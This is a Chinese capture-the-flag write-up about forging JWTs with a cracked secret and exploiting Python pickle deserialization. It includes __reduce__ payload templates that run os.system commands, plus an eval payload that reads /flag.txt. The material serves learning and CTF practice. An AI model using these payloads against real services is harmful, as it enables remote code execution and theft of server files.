前言
一开始看到kunkun,好家伙,做着做着发现这真是道难题,好你个姬霓太美,太菜了不得不去看大佬wp,才发现是我从未体验过得全新知识点,针不搓呢!!!
前置知识
参考大佬博客:
https://www.cnblogs.com/Cl0ud/p/12177062.html
https://www.cnblogs.com/wangtanzhi/p/12178311.html
一、JWT
JWT解码网站
Json Web Token详解
JWT破解工具
jwtcrack用法:
./jwtcrack+密文
//可以解出秘钥,然后去jwt解码网站可以更改姓名
二、Python-pickle反序列化
python-pickle反序列化讲解
Python魔术方法讲解:
C-pickle反序列化漏洞:
Python中有个库可以实现序列化和反序列化操作,名为pickle或cPickle,作用和PHP的serialize与unserialize一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同,但cPickle库的性能更好,因此这里选用cPickle库作为示例。
cPickle可以对任意一种类型的Python对象进行序列化操作。下面是主要的四个函数:
cPickle.dump(obj, file, [,protocol]):将Python对象序列化保存到本地的文件中。
obj:想要序列化的obj对象。 file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
cPickle.load(file):载入本地文件,将文件内容反序列化为Python对象。
file:文件名称。
cPickle.dumps(obj[, protocol]):将Python对象序列化为字符串。
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
cPickle.loads(string):将字符串反序列化为Python对象。
string:文件名称。
【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码
检测这种反序列化漏洞的方法:
全局搜索Python代码中是否含有关键字类似“import cPickle”或“import
pickle”等,若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。
魔术方法:
注意:以下payload都是python2的环境下,去Python3运行之后结果是错误的。。。。。
修改reduce魔术方法的通用模板:
import cPickle
class Person(object):
def __init__(self,username,password):
self.username = username
self.password = password
def __reduce__(self):
# 未导入os模块,通用
return (__import__('os').system, ('calc.exe',))
# return eval,("__import__('os').system('calc.exe')",)
# return map, (__import__('os').system, ('calc.exe',))
# return map, (__import__('os').system, ['calc.exe'])
# 导入os模块
# return (os.system, ('calc.exe',))
# return eval, ("os.system('calc.exe')",)
# return map, (os.system, ('calc.exe',))
# return map, (os.system, ['calc.exe'])
admin = Person('admin','123456')
result = cPickle.dumps(admin)
user = cPickle.loads(result)
通用payload:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
#return (eval,("import('os').system('ls')",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
解题过程
由于大佬们的过程都十分详细了,我就不过多赘述了。
总的就是先写脚本找lv6,
然后替换jwt,
最后python-pickle的__reduce__反序列化漏洞利用。
总结
写完这个题,总的思路和知识点学到了很多,仍有一个不明白的点,就是最后的payload看大哥们都是同一个,直接打开flag.txt获得flag,但是怎么找到flag.txt没写出来payload,难受啊,希望有会的大哥能带带我!!!